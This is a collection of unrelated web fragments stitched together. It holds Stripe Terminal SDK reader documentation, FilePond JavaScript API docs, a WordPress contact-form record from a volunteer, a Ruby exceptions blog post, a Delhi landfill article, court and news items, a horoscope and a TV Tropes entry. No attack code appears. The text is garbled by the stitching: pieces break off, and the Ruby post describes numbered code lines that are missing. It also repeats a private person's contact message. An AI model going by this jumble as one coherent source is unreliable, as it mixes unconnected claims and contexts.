SCPReader
Objective-C
@interface SCPReader : NSObject <SCPJSONDecodable>
Swift
class Reader : NSObject, JSONDecodable
Information about a card reader that has been discovered by or connected to the SDK.
Some of the properties are only applicable to a certain device type. These properties are labeled with the reader or reader type to which they apply.
-
The reader’s device type.
Declaration
Objective-C
@property (nonatomic, readonly) SCPDeviceType deviceType;
Swift
var deviceType: DeviceType { get }
-
True if this is a simulated reader.
SCPDiscoveryConfiguration
objects withsimulated
set totrue
produce simulated readers.Declaration
Objective-C
@property (nonatomic, readonly) BOOL simulated;
Swift
var simulated: Bool { get }
-
The Stripe unique identifier for the reader.
Declaration
Objective-C
@property (nonatomic, readonly, nullable) NSString *stripeId;
Swift
var stripeId: String? { get }
-
The ID of the reader’s Location.
Internet readers remain registered to the location specified when registering the reader to your account. For internet readers, this field represents that location. If you need to change your internet reader’s location, re-register the reader and specify the new location id in the
location
param. See https://stripe.com/docs/api/terminal/readers/createBluetooth readers are designed to be more mobile and must be registered to a location upon each connection. For Bluetooth readers, this field represents the last location that the reader was registered to. If the reader has not been used before, this field will be nil. If you associate the reader to a different location while calling
connectBluetoothReader
, this field will update to that new location’s ID.Declaration
Objective-C
@property (readonly, nullable) NSString *locationId;
Swift
var locationId: String? { get }
-
Used to tell whether the
location
field has been set. Note that the Verifone P400 and simulated readers will always have anunknown
locationStatus
. (Chipper 2X BT and WisePad 3 only.)Declaration
Objective-C
@property (readonly) SCPLocationStatus locationStatus;
Swift
var locationStatus: LocationStatus { get }
-
The details of the location this reader is registered to, if any.
During discovery,
location
will be nil for Bluetooth readers that have never been connected to.You must assign a Bluetooth reader to a location from the SDK during
connectBluetoothReader
. SeelocationId
inSCPBluetoothConnectionConfiguration
.After connecting to a reader,
location
will be nil if the reader has been registered to a new location. See https://stripe.com/docs/api/terminal/locations/retrieve for documentation on retrieving location details in your app.Note that the Verifone P400 and simulated readers will always have a nil
location
.(Chipper 2X BT and WisePad 3 only.)
See
SCPConnectionConfiguration
Declaration
Objective-C
@property (readonly, nullable) SCPLocation *location;
Swift
var location: Location? { get }
-
The reader’s serial number.
Declaration
Objective-C
@property (nonatomic, readonly) NSString *_Nonnull serialNumber;
Swift
var serialNumber: String { get }
-
Unavailable
You cannot directly instantiate this class.
Declaration
Objective-C
- (nonnull instancetype)init;
-
Unavailable
You cannot directly instantiate this class.
Declaration
Objective-C
+ (nonnull instancetype)new;
-
The reader’s current device software version, or
nil
if this information is unavailable.Declaration
Objective-C
@property (readonly, nullable) NSString *deviceSoftwareVersion;
Swift
var deviceSoftwareVersion: String? { get }
-
The available update for this reader, or nil if no update is available. This update will also have been announced via
- [BluetoothReaderDelegate reader:didReportAvailableUpdate:]
Install this update with
- [Terminal installAvailableUpdate]
calls to
installAvailableUpdate
whenavailableUpdate
is nil will result in- [BluetoothReaderDelegate reader:didFinishInstallingUpdate:error:]
called immediately with a nil update and nil error.Declaration
Objective-C
@property (readonly, nullable) SCPReaderSoftwareUpdate *availableUpdate;
Swift
var availableUpdate: SCPReaderSoftwareUpdate? { get }
-
The reader’s battery level, represented as a boxed float in the range
[0, 1]
. If the reader does not have a battery, or the battery level is unknown, this value isnil
. (Bluetooth readers only.)Declaration
Objective-C
@property (readonly, nullable) NSNumber *batteryLevel;
Swift
var batteryLevel: NSNumber? { get }
-
The reader’s battery status. Usable as a general classification for the current battery state.
See
SCPBatteryStatusDeclaration
Objective-C
@property (readonly) SCPBatteryStatus batteryStatus;
Swift
var batteryStatus: BatteryStatus { get }
-
The reader’s charging state, represented as a BOOL If the reader does not have a battery, or the battery level is unknown, this value is
nil
. (Bluetooth readers only.)Declaration
Objective-C
@property (readonly, nullable) NSNumber *isCharging;
Swift
var isCharging: NSNumber? { get }
-
The IP address of the reader. (Internet reader only.)
Declaration
Objective-C
@property (nonatomic, readonly, nullable) NSString *ipAddress;
Swift
var ipAddress: String? { get }
-
The networking status of the reader: either
offline
oronline
. Note that the Chipper 2X and the WisePad 3’s statuses will always beoffline
. (Verifone P400 only.)Declaration
Objective-C
@property (nonatomic, readonly) SCPReaderNetworkStatus status;
Swift
var status: ReaderNetworkStatus { get }
-
A custom label that may be given to a reader for easier identification. (Verifone P400 only.)
Declaration
Objective-C
@property (nonatomic, readonly, nullable) NSString *label;
Swift
var label: String? { get }


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Test Network
Settings
Test Network
Repeat After Finished
Label: NaN
Output:
Show Output Text
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|---|
Key: Success Rate - Blue | Average Cost - Red
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--- layout: feedback title: Steven Danalewich - 2014-03-29 00:21:26 date: 2014-03-29 00:21:26.000000000 -05:00 categories: [] tags: [] status: publish type: feedback published: true meta: _feedback_extra_fields: a:0:{} _feedback_email: "a:2:{s:2:\"to\";a:1:{i:0;s:29:\"adam.n.england+blog@gmail.com\";}s:7:\"message\";s:687:\"Name: Steven Danalewich\nEmail<EMAIL_ADDRESS>Message: Hi Adam,\r\nI volunteer for Palos Hills EMA. We are non-profit non-funded group. Sadly we have no budget and work off the kindness of others. We use several programs right now to keep track of everything because not one program can do it. We are looking for a database program. When we respond to any situation time is critical and there is a lot to keep track of. We are hoping that you would be able to help us with this project?\r\n\r\nThanks!\n\nTime: March 29, 2014 at 12:21 am\nIP Address: <IP_ADDRESS>\nContact Form URL: http://adamnengland.wordpress.com/contact-me/\nSent by an unverified visitor to your site.\";}" author: excerpt: !ruby/object:Hpricot::Doc options: {} ---
Hi Adam,
I volunteer for Palos Hills EMA. We are non-profit non-funded group. Sadly we have no budget and work off the kindness of others. We use several programs right now to keep track of everything because not one program can do it. We are looking for a database program. When we respond to any situation time is critical and there is a lot to keep track of. We are hoping that you would be able to help us with this project?
Thanks!
AUTHOR: Steven Danalewich
AUTHOR EMAIL<EMAIL_ADDRESS>AUTHOR URL:
SUBJECT: BLOG - Contact Me Submission
IP: <IP_ADDRESS>
Array
(
[Name] => Steven Danalewich
[Email] =><EMAIL_ADDRESS>[Your Message] => Hi Adam,
I volunteer for Palos Hills EMA. We are non-profit non-funded group. Sadly we have no budget and work off the kindness of others. We use several programs right now to keep track of everything because not one program can do it. We are looking for a database program. When we respond to any situation time is critical and there is a lot to keep track of. We are hoping that you would be able to help us with this project?
Thanks!
)


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full stack development and data science.Here is a glance of it.Check my other projects from my linkedin and github profile.


FilePond instance
The FilePond instance is the object returned when FilePond.create
method is used. It’s an object linked to a DOM element. The FilePond instance can be used to add files, remove files and customize the functionality of a single FilePond.
Properties
The FilePond core module exposes the following properties.
| Property | Default | Description |
|---|---|---|
| element | null |
The root element of the FilePond instance. This property has no setter |
| status | 0 |
Returns the current status of the FilePond instance, use the FilePond.Status enum to determine the status. Has no setter. |
| name | 'filepond' |
The input field name to use |
| className | null |
Additional CSS class to add to the root element |
| required | false |
Sets the required attribute to the output field |
| disabled | false |
Sets the disabled attribute to the output field |
| captureMethod | null |
Sets the given value to the capture attribute |
| credits | { label, url } |
Shows Powered by PQINA in footer |
| allowDrop | true |
Enable or disable drag n' drop |
| allowBrowse | true |
Enable or disable file browser |
| allowPaste | true |
Enable or disable pasting of files. Pasting files is not supported on all browesrs. |
| allowMultiple | false |
Enable or disable adding multiple files |
| allowReplace | true |
Allow drop to replace a file, only works when allowMultiple is false |
| allowRevert | true |
Enable or disable the revert processing button |
| allowRemove | true |
When set to false the remove button is hidden and disabled |
| allowProcess | true |
Enable or disable the process button |
| allowReorder | false |
Allow users to reorder files with drag and drop interaction. Note that this only works in single column mode. It also only works on browsers that support pointer events. |
| forceRevert | false |
Set to true to require the file to be successfully reverted before continuing |
| maxFiles | null |
The maximum number of files that the pond can handle |
| maxParallelUploads | null |
The maxmimum number of files that can be uploaded in parallel |
| checkValidity | false |
Set to true to enable custom validity messages. FilePond will throw an error when a parent form is submitted and it contains invalid files. |
| itemInsertLocation | 'before' |
Set to 'after' to add files to end of list (when dropped at the top of the list or added using browse or paste), set to 'before' to add files at start of list. Set to a compare function to automatically sort items when added |
| itemInsertInterval | 75 |
The interval to use before showing each item being added to the list |
Drag n' Drop related
| Property | Default | Description |
|---|---|---|
| dropOnPage | false |
FilePond will catch all files dropped on the webpage |
| dropOnElement | true |
Require drop on the FilePond element itself to catch the file. |
| dropValidation | false |
When enabled, files are validated before they are dropped. A file is not added when it’s invalid. |
| ignoredFiles | ['.ds_store', 'thumbs.db', 'desktop.ini'] |
Ignored file names when handling dropped directories. Dropping directories is not supported on all browsers. |
Server configuration
| Property | Default | Description |
|---|---|---|
| files | [] |
A list of file locations that should be loaded Immediately, read more about setting the initial files |
| instantUpload | true |
Immediately upload new files to the server |
| server | null |
Server API configuration |
| chunkUploads | false |
Enable chunked uploads, when enabled will automatically cut up files in chunkSize chunks before upload |
| chunkForce | false |
Force chunks even for files smaller than the set chunkSize |
| chunkSize | 5000000 |
The size of a chunk in bytes |
| chunkRetryDelays | [500, 1000, 3000] |
Amount of times, and delayes, between retried uploading of a chunk |
Labels
| Property | Default | Description |
|---|---|---|
| labelDecimalSeparator | auto |
The decimal separator used to render numbers. By default this is determined automatically. |
| labelThousandsSeparator | auto |
The thousdands separator used to render numbers. By default this is determined automatically. |
| labelIdle | 'Drag & Drop your files or <span class="filepond--label-action"> Browse </span>' |
Default label shown to indicate this is a drop area. FilePond will automatically bind browse file events to the element with CSS class .filepond--label-action |
| labelInvalidField | 'Field contains invalid files' |
Label shown when the field contains invalid files and is validated by the parent form. |
| labelFileWaitingForSize | 'Waiting for size' |
Label used while waiting for file size information |
| labelFileSizeNotAvailable | 'Size not available' |
Label used when no file size information was received |
| labelFileLoading | 'Loading' |
Label used while loading a file |
| labelFileLoadError | 'Error during load' |
Label used when file load failed |
| labelFileProcessing | 'Uploading' |
Label used when uploading a file |
| labelFileProcessingComplete | 'Upload complete' |
Label used when file upload has completed |
| labelFileProcessingAborted | 'Upload cancelled' |
Label used when upload was cancelled |
| labelFileProcessingError | 'Error during upload' |
Label used when something went wrong during file upload |
| labelFileProcessingRevertError | 'Error during revert' |
Label used when something went wrong during reverting the file upload |
| labelFileRemoveError | 'Error during remove' |
|
| labelTapToCancel | 'tap to cancel' |
Label used to indicate to the user that an action can be cancelled. |
| labelTapToRetry | 'tap to retry' |
Label used to indicate to the user that an action can be retried. |
| labelTapToUndo | 'tap to undo' |
Label used to indicate to the user that an action can be undone. |
| labelButtonRemoveItem | 'Remove' |
Label used for remove button |
| labelButtonAbortItemLoad | 'Abort' |
Label used for abort load button |
| labelButtonRetryItemLoad | 'Retry' |
Label used for retry load button |
| labelButtonAbortItemProcessing | 'Cancel' |
Label used for abort upload button |
| labelButtonUndoItemProcessing | 'Undo' |
Label used for undo upload button |
| labelButtonRetryItemProcessing | 'Retry' |
Label used for retry upload button |
| labelButtonProcessItem | 'Upload' |
Label used for upload button |
SVG Icons
| Property | Default | Description |
|---|---|---|
| iconRemove | '<svg></svg>' |
The icon used for remove actions |
| iconProcess | '<svg></svg>' |
The icon used for process actions |
| iconRetry | '<svg></svg>' |
The icon used for retry actions |
| iconUndo | '<svg></svg>' |
The icon used for undo actions |
Callbacks
| Property | Function | Description |
|---|---|---|
| oninit | () |
FilePond instance has been created and is ready. |
| onwarning | (error[, file, status]) |
FilePond instance throws a warning. For instance when the maximum amount of files has been reached. Optionally receives file if error is related to a file object. |
| onerror | (error[, file, status]) |
FilePond instance throws an error. Optionally receives file if error is related to a file object. |
| oninitfile | (file) |
Created file item |
| onaddfilestart | (file) |
Started file load |
| onaddfileprogress | (file, progress) |
Made progress loading a file |
| onaddfile | (error, file) |
If no error, file has been succesfully loaded |
| onprocessfilestart | (file) |
Started processing a file |
| onprocessfileprogress | (file, progress) |
Made progress processing a file |
| onprocessfileabort | (file) |
Aborted processing of a file |
| onprocessfilerevert | (file) |
Processing of a file has been reverted |
| onprocessfile | (error, file) |
If no error, Processing of a file has been completed |
| onprocessfiles | () |
Called when all files in the list have been processed |
| onremovefile | (error, file) |
File has been removed. |
| onpreparefile | (file, output) |
File has been transformed by the transform plugin or another plugin subscribing to the prepare_output filter. It receives the file item and the output data. |
| onupdatefiles | (files) |
A file has been added or removed, receives a list of file items |
| onactivatefile | (file) |
Called when a file is clicked or tapped |
| onreorderfiles | (files, origin, target) |
Called when the files list has been reordered, receives current list of files (reordered) plus file origin and target index. |
Hooks
| Property | Function | Description |
|---|---|---|
| beforeDropFile | (file) |
FilePond is about to allow this item to be dropped, it can be a URL or a File object. Return true or false depending on if you want to allow the item to be dropped. |
| beforeAddFile | (item) |
FilePond is about to add this file, return false to prevent adding it, or return a Promise and resolve with true or false . |
| beforeRemoveFile | (item) |
FilePond is about to remove this file, return false to prevent removal, or return a Promise and resolve with true or false . |
Styles
| Property | Default | Description |
|---|---|---|
| stylePanelLayout | null |
Set a different layout render mode. Can be either 'integrated' , 'compact' , and/or 'circle' . Compact mode will remove padding, integrated mode is used to render FilePond as part of a bigger element. Circle mode adjusts the item position offsets so buttons and progress indicators don’t fall outside of the circular shape. |
| stylePanelAspectRatio | null |
Set a forced aspect ratio for the FilePond drop area. Useful to make the drop area take up a fixed amount of space. For example when cropping a single square image. Accepts human readable aspect ratios like '1:1' or numeric aspect ratios like 0.75 . |
| styleButtonRemoveItemPosition | 'left' |
The position of the remove item button, 'left' , 'center' , 'right' , and/or 'bottom' . |
| styleButtonProcessItemPosition | 'right |
The position of the process item button, 'left' , 'center' , 'right' , and/or 'bottom' . |
| styleLoadIndicatorPosition | 'right |
The position of the load indicator, 'left' , 'center' , 'right' , and/or 'bottom' . |
| styleProgressIndicatorPosition | 'right |
The position of the progress indicator, 'left' , 'center' , 'right' , and/or 'bottom' . |
| styleItemPanelAspectRatio | null |
Set a forced aspect ratio for the file items. Useful when rendering cropped or fixed aspect ratio images in grid view, this will improve performance as FilePond will know beforehand the size of the item to render. |
Events
FilePond exposes the following events, they’re the same as the callback methods. The event detail
property will contain the relevant event information. We can subscribe to them by listing on the root node.
const pond = document.querySelector('.filepond--root');
pond.addEventListener('FilePond:addfile', e => {
console.log('File added', e.detail);
});
| Option | Description |
|---|---|
| FilePond:init | FilePond instance has been created and is ready. |
| FilePond:warning | FilePond instance throws a warning. For instance when the maximum amount of files has been reached. Optionally receives file if error is related to a file object. |
| FilePond:error | FilePond instance throws an error. Optionally receives file if error is related to a file object. |
| FilePond:addfilestart | Started file load |
| FilePond:addfileprogress | Made progress loading a file |
| FilePond:addfile | File has been loaded, if the detail object contains an error property, something went wrong |
| FilePond:processfilestart | Started processing a file |
| FilePond:processfileprogress | Made progress processing a file |
| FilePond:processfileabort | Aborted processing of a file |
| FilePond:processfilerevert | Processing of a file has been reverted |
| FilePond:processfile | Finished processing a file, if the detail object contains an error property, something went wrong |
| FilePond:removefile | File has been removed |
| FilePond:updatefiles | A file has been added or removed |
Methods
| Method | Params | Description |
|---|---|---|
| setOptions | object |
Override multiple options at once |
| addFile | source [, options] |
Adds a file |
| addFiles | source [, options] |
Adds multiple files |
| removeFile | query |
Removes the file matching the given query |
| removeFiles | [query] |
Removes all files or files matching the query |
| processFile | query |
Starts processing the file matching the given query |
| processFiles | [query] |
Starts processing all files or files matching the query |
| prepareFile | query |
Starts preparing the file matching the given query , returns a Promise, the Promise is resolved with the file item and the output file { file, output } |
| prepareFiles | [query] |
Starts preparing all output files or files matching the query, returns a Promise, the Promise is resolved with an array of file prepare output objects { file, output } |
| getFile | query |
Returns the file matching the supplied query |
| getFiles | Returns all files | |
| browse | Opens the browse file dialog, please note that this only works if the user initiaded the callstack that ends up calling the browse method. |
|
| sort | compare |
Sorts files in the list using the supplied compare function |
| moveFile | query, index |
Moves the files to a new index in the files array |
| destroy | Destroys this FilePond instance |
DOM manipulation
| Method | Params | Description |
|---|---|---|
| insertAfter | element |
Inserts the FilePond instance after the supplied element |
| insertBefore | element |
Inserts the FilePond instance before the supplied element |
| appendTo | element |
Appends FilePond to the given element |
| isAttachedTo | element |
Returns true if the current instance is attached to the supplied element |
| replaceElement | element |
Replaces the supplied element with FilePond |
| restoreElement | element |
If FilePond replaced the original element, this restores the original element to its original glory. |
Event Methods
FilePond provides the on
, onOnce
and off
methods as an alternative way to listen for events. We can listen for the same events but can do so without adding the 'FilePond:'
prefix. Parameters received by the hanlder functions are the same as defined on the callback methods.
// 'addfile' instead of 'FilePond:addfile'
const pond = FilePond.create();
pond.on('addfile', (error, file) => {
if (error) {
console.log('Oh no');
return;
}
console.log('File added', file);
});
| Method | Params | Description |
|---|---|---|
| on | event , fn |
Listen to an event with name |
| onOnce | event , fn |
The handler will only be called once and will then automatically be removed |
| off | event , fn |
Setting options
To override already set options on a FilePond instance we can either use the setOptions
method or adjust the properties directly.
const pond = FilePond.create();
pond.setOptions({
maxFiles: 10,
required: true
});
Adjusting individual properties:
const pond = FilePond.create();
pond.maxFiles = 10;
pond.required = true;
Adding files
To add files we can use the addFile
and addFiles
end points.
Both methods accept the following file references:
- Local and Remote URLs
- DataURLs
- Blobs or File objects
// Adding a single file
pond.addFile('./my-file.jpg');
// Adding multiple files
pond.addFiles('./my-file.jpg', './my-documents.zip');
// It also accepts arrays
pond.addFiles(['./my-file.jpg', './my-documents.zip']);
The last argument can be set to an option object which can be used to determine the index in the items list the file or files should be added at.
// Adding a single file with option object
pond.addFile('./my-file.jpg', { index: 0 });
// Adding multiple files with option object
pond.addFiles('./my-file.jpg', './my-documents.zip', { index: 0 });
// Supplying files as an array with option object
pond.addFiles(['./my-file.jpg', './my-documents.zip'], { index: 0 });
As stated earlier the addFile
method also accepts Blobs, File objects and DataURLs.
// Adding a basic base64 encoded DataURL
pond.addFile('data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==');
// Adding a Blob or File
const data = { hello: 'world' };
const blob = new Blob([JSON.stringify(data, null, 2)], {
type: 'application/json'
});
pond.addFile(blob);
Because Blobs and DataURLs don’t supply any filename information FilePond sets the file name to the current date.
The addFile
method returns a promise. This can be useful when loading remote files.
pond
.addFile('./my-file.jpg')
.then(file => {
// File has been added
})
.catch(error => {
// Something went wrong
});
Processing files
We can trigger manual processing of files using the processFile
method.
Files can be processed by id
, index
or file
. A parameter is not required.
// processes the first file
pond.processFile().then(file => {
// File has been processed
});
// removes the file at index 1
pond.processFile(1).then(file => {
// File has been processed
});
// removes the file with the given id
pond.processFile('imzsdvxar').then(file => {
// File has been processed
});
Processing multiple files can be done by passing multiple items to the processFiles
method.
pond.processFiles('imzsdvxar', 'afaoiwles').then(files => {
// files have been processed
});
Process all files
pond.processFiles().then(files => {
// files have been processed
});
Getting files
We can get access to a file by id
or index
. A parameter is not required.
// returns the first file item
pond.getFile();
// returns the file item at index 1
pond.getFile(1);
// returns the file item with the given id
pond.getFile('imzsdvxar');
Get all files with the getFiles
method.
// returns all files currently in the list
pond.getFiles();
Removing files
Files can be removed by id
, index
or file
. A parameter is not required.
If we don’t supply a parameter to the removeFile
method FilePond removes the first file in the file list.
// removes the first file item
pond.removeFile();
// removes the file item at index 1
pond.removeFile(1);
// removes the file item with the given id
pond.removeFile('imzsdvxar');
Files can also be removed by reference, pass a FilePond File to the remove method to have it removed from the list.
pond.addFile('./my-file.jpg').then(file => {
pond.removeFile(file);
});
A FilePond File is not the same a JavaScript File or Blob. The FilePond File is a wrapper around a JavaScript file object. Passing a JavaScript File or Blob to the removeFile method won’t work.
Opening The File Browser
The browse
method can be used to manually trigger the browse files panel.
This only works if the call originates from the user.
This works, as the call originates from the browser clicking the button.
document.querySelector('button').addEventListener('click', () => {
pond.browse();
})
This doesn’t work, the call to browse
originates from the browser itself.
setTimeout(() => {
pond.browse();
}, 5000);
This also doesn’t work, the timeout “breaks” the callstack and the browser won’t know the call originated from the button.
document.querySelector('button').addEventListener('click', () => {
setTimeout(() => {
pond.browse();
}, 5000);
})
Sorting Files
Using the sort()
method or the itemInsertLocation
property we can sort the items in the files list.
This sort method behaves exactly the same as the default JavaScript sort compare function.
When loading URLs the file items passed to the sort function don’t have file data yet, in that situation we need to check if the files have already been loaded, and if not, we can treat the files as equals. FilePond will call the compare function again after a file has fully loaded.
// Sort the current files from small to big
pond.sort((a, b) => {
// If no file data yet, treat as equal
if (!(a.file && b.file)) return 0;
// Move to right location in list
if (a.fileSize < b.fileSize) {
return -1;
}
else if (a.fileSize > b.fileSize) {
return 1;
}
return 0;
});
To automatically sort files when they’re added to the list we can set the above sort method to the itemInsertLocation
property.
const pond = FilePond.create({
itemInsertLocation: (a, b) => {
// If no file data yet, treat as equal
if (!(a.file && b.file)) return 0;
// Move to right location in list
if (a.fileSize < b.fileSize) {
return -1;
}
else if (a.fileSize > b.fileSize) {
return 1;
}
return 0;
}
});
Disabling Credits
FilePond is given to you for free.
Please support the project by not removing the tiny Powered by PQINA footer.
If you don’t like the way the footer looks but still want to support FilePond, please link to https://pqina.nl somewhere else on your website.
You can also restyle the footer by adjusting the .filepond--credits
CSS class.
Your support helps keep the project alive.
Of course you can still disable the credits message by setting the credits
property to false
.


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Exceptions, Catch, and Throw
In the last blog post, we were able to learn about blocks, procs, and lambdas in Ruby. So when would you use these things? You can create your own methods that now will be able to take a snippet(block) of code, but also you can now handle error messages gracefully.
I've made alot of mistakes in my programming career and every time that I've made a mistake, I received the dreadful error messages in my terminal that causes my program to come to a screeching halt. Catching errors by throwing exceptions allow you to package up information about an error into an object which allows you to manipulate it in your script. The syntax of a standard error message is as follows.
Reference here.Now let's take a look at a DBC example.
On line 26 you create a lamda that takes the method connect_to_db. Connect_to_db method is created on ine 21-24. As you try to raise your assertion on line 29, your lambda my_code is inserted into the assert_raise method.
The begin on line 12 will evaluate my lambda, the rescue Exception will take my Exception from the terminal and store it as an object(e) and then raise line 15 as a way to gracefully output your error. On line 15, the method message is an Exception instance method that allows you to gracefully output the error as a string. More on Exception methods here. Sidenote: it is bad form to try and catch the parent Exception as this example does on line 14. Rather, you should always try to catch the children Exceptions such as NoMemoryError, ScriptError, and ArgumentError. An example of this is featured below.


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Delhi is one of the biggest and most populated cities in the world. Qutub Minar, built some odd 800 years ago, is one of the popular tourist destinations of Delhi. But another 'tower' though under construction, would soon overtake the title of being the tallest tower in Delhi or even India. While the Qutub Minar is the pride of the city the same can't be said for Ghazipur landfill site.
As of September 2018, the Ghazipur landfill site, 45 meters higher than the prescribed limit of 20 meter, is merely 8 meters shorter than Qutub Minar. Spreading across 70 acres and housing 12 million tons of waste, it is easily one of the biggest landfill sites in the world proof of our failing waste management system. Owing to the large population of Delhi, waste management remains its biggest concern which if not tackled in time, would soon turn into an epidemic.
Delhi generates around 9,500 tons of waste per day that needs to be disposed safely. But poor management and a failed system have led to much bigger problems that shows no signs of improvement.
Delhi has three major landfill sites namely -- Ghazipur, Okhla and Bhalswa; these three sites have exceeded their capacities almost a decade ago, but are still in use. Searches for new landfill sites are always met with objections raised by people living in the area.
However, the problems do not end just here. The landfills regularly catch fire and release toxic gases. The waste also contaminates the groundwater. Respiratory diseases, pneumonia and tuberculosis are common occurrences for the families living in close premises of these landfills. During monsoon, the runoff water adds to the problems by spreading dengue and swine flu.
Looking for solutions requires not just a total revamp of the existing waste management system, but also huge monetary aids on part of the government. Efficient and cost effective measures need to be adopted that promote a sustainable environment.
The enormous amounts of waste produced can be transformed into electricity by using Waste-to-Energy plants. Compost can be prepared out of household bio-degradable waste, and bio-gas plants could be set up which would reduce the burden on traditional energy resources.
The residents of the city are the cause of the problem and the solution too. It’s only by the joint efforts of the concerned authorities and the people, that this crisis can be tackled.


OWASP top 10
This chapter is largely based on the OWASP top 10 vulnerabilities. So if you want a better explanation just check out their website. https://www.owasp.org/index.php/Top_10_2013-Top_10


MUT murder accused: 'Zolile loved me more than her parents' | Daily News
Durban - THE man accused of murdering Mangosuthu University of Technology (MUT) student at the university residence in the Durban city centre began his testimony on Monday in the Durban High Court by confessing his deep love for her.
Thabani Mzolo who is facing a charge of murder of Zolile Khumalo, told the court that they were so much in love that they always said that they will love each other until death do them apart.
He said he loved her deeply and so much that she told him that she loved him even more than her own parents.
Khumalo, was allegedly shot and killed by Mzolo at her room at Lonsdale student residence on May 1, 2018.
Mzolo was arrested at the scene in the early morning of the next day.


This .zip file contains all of the CAD, interchange (.dxf, .pdf, etc) and CAM files for the {{ site.github.project_title }}
Other {{ site.github.project_title }} information
Go to Github repository - if you are familary with GitHub, follow this link to see the {{ site.github.project_title }} repository. Here, you will be able to fork the design to work on it on your own.
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Today you will make major gains in your business/profession. You will also get unprecedented financial gains. You will plan to buy a new house or a luxury vehicle. Peace and harmony will prevail at home. You will get busy in preparation for some festival, feast etc. You will also open up all the way to communicate with people.


BREAKING Essex lorry deaths: Man, 23, charged with 39 counts of manslaughter
We'll be bringing you the very latest updates, pictures and video on this breaking news story
by Jilly BeattieA man has been charged with 39 counts of manslaughter over the deaths of dozens of migrants found in a container in Essex.
Essex Police allege he delivered the trailer to the Belgian port of Zeebrugge before its onward journey to Britain.
Eamon Harrison, 23, from Mayobridge, appeared before Mr Justice Donald Binchy in Dublin High Court this morning.
We'll be bringing you the very latest updates, pictures and video on this breaking news story.
Please check back regularly for updates on this developing story here at Mirror.co.uk .
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Follow us on Twitter @DailyMirror - the official Daily Mirror & Mirror Online Twitter account - real news in real time.
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Ozigbo speaks on 2019 Unusual Praise - The Nation Newspaper
by https://www.facebook.com/alao.h.joshuaOlushola Victor
Valentine Ozigbo is popularly known as the President and Chief Executive Officer of Transcorp Plc. But he is also the Chairman of the Unusual Entrepreneur, an extension of Unusual Praise.
The 2019 edition of the annual mega gospel event will be held at the Periwinkle Estate, Lekki, Lagos, on Friday, November 29.
Tagged ‘Declare the Glory of the Lord among Nations,’ the event targeted at Nigerians across all tribes and faiths will feature gospel singers such as Nathaniel Bassey, Panam Percy Paul, Chioma Jesus, Tope Alabi, Big Bolaji and BJ Sax.
However, Ozigbo said they had introduced an empowerment scheme to this year’s edition, which will empower 250 smart men and women members of the Church from the entire Archdiocese of Lagos. He stated: “To be eligible for the programme, the business must be a Nigerian or the applicant must be a legal resident in Nigeria (Lagos), the business must be for-profit, the applicant must be willing to attend all training and mentoring exercises and the applicant must be at least 18 years old.”
It was gathered the entrepreneurs would be awarded with prizes ranging from N50,000 to N1,000,000 per person. Apart from the funding, entrepreneurs will also be provided with mentorship, business training and other critical support they require to succeed long term.


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A character is walking along the road when a car drives past through a puddle, splashing them big-style with water. Usually used as a comedic device which adds insult to injury in the events of an already bad day, perhaps after the character wonders how it could get any worse. Often the number one cause of Doomed New Clothes, especially fancy, expensive clothes. May lead to a Wardrobe Wound.
As you might expect and as several unfortunate saps can attest to, this is Truth in Television. However Do Not Try This at Home — in many jurisdictions deliberately (or even accidentally if you could have avoided doing so) driving through puddles to soak pedestrians can get you cited under "driving without due care for other road users" statutes. There have also been cases where people have lost their jobs for doing this in the company vehicle.
Examples:
- Parodied in an advertisement for beer, where a man waiting at a bus stop realizes to his horror that the driver of an approaching car is going to inflict this on him. The driver grins evilly and pushes the accelerator to the floor. The car reaches the puddle... and sinks.
- Another advert for a car plays with this trope. Earlier an elderly gent was on a massive yacht with two attractive young ladies, he sails by two people windsurfing and the wake knocks them off balance.  They recognise each other and the gent looks on with horror as the car speeds up only for the man to avoid the puddle.
- A Brazilian Volkswagen advert also parodied the trope, because the model in question was an offroad. It started as an average off-roader ad, showing the car driving on all kinds of terrain. At the end, when the car gets to the city, covered in mud, another car drives by and splashed it with so much water, it washes off all the mud. The owner of the off-roader gets out... and weeps in despair.
- In one of the Expedia ads where the guy is predicting everything that's going to happen while he's walking down the street on his trip, this is one of them. "Embarrassingly transparent."
- Ed in Fullmetal Alchemist. He gets soaked, so he uses alchemy to dry off, and is immediately arrested.
- Ranma ½:
- A running gag involved Ryōga walking along and getting splashed by something. Can be a car going by, can be someone tossing used washwater out of a window, can be (and often is) an old woman watering her plants via ladle. Since cold water turns him into a pig, this is milked for all the humor value possible.
- Ranma him, er, herself often gets this treatment too.
- Mamimi in FLCL gets soaked by a passing motorbike in the final episode. She later gets revenge by having the terminal core eat the bike.
- In the very first episode of Saber Marionette J, Lime walks out of a store happily wearing the new clothes Otaru bought for her. Then Hanagata passes by driving his car splashing her. Otaru demands that he apologizes but Hanagata refuses, and Lime chases him around the block and tosses him a four-story building at him.
- One the "peeves" confronted by Ali Babble in the Golden Age Batman story "Ali Babble and the Fourteen Peeves". He hauls the driver out of his car and hurls him bodily into a puddle.
- A Scamp story has Scamp getting completely covered in mud by a car splash, which gets him confused for a puppy that looks exactly like him, but brown. After escaping, he promptly finds a water puddle and waits for another car to go by in order to wash off.
- In Knights of the Dinner Table #200, Bob tries to persuade Shiela to give Brian a ride to Crutch's game. Shiela instead drives through a puddle, soaking Brian and leaving him standing on the side of the road.
- Zits: Happens to Jeremy and Sara in one strip as they discover that walking in the rain is not nearly as romantic as the songs make it sound.
- This happens to Susie exactly three times in the Calvin and Hobbes: The Series episode "Chains" after ripping up a Chain Letter. The last time, there wasn't even any mud in the area.
- In Don't Say, "Dannit", a fanfiction of The Loud House, Rita gets splashed by a car while wearing new clothes.
- In You Call That a Costume?, while she and Rarity are lost in downtown, Applejack tries to get the help of a passing car. Not only does the driver ignore her pleas, but they deliberately splash a mud puddle over her while passing.
- Robin Hood and Little John actually do this to Prince John at the very beginning of Robin Hood shortly after stealing his carriage and clothes, leaving him only in underwear.
- Happens to Milo Thatch at the very beginning of Atlantis: The Lost Empire after Fenton Harcourt refuses his proposal and speeds away from the Smithsonian Institution in his car.
- Skinner in Ratatouille gets hit by one right as his Humiliation Conga is nearing its peak.
- Happens to Bobcat Goldthwait's character in Scrooged.
- The Mask. Outside the Coco Bongo club, right after he's been thrown (literally "thrown") out of it.
- Citizen Kane, when Kane meets Susan Alexander.
- Done as a Meet Cute in the opening scene of That Touch of Mink, with Doris Day getting splashed by a limo carrying Cary Grant.
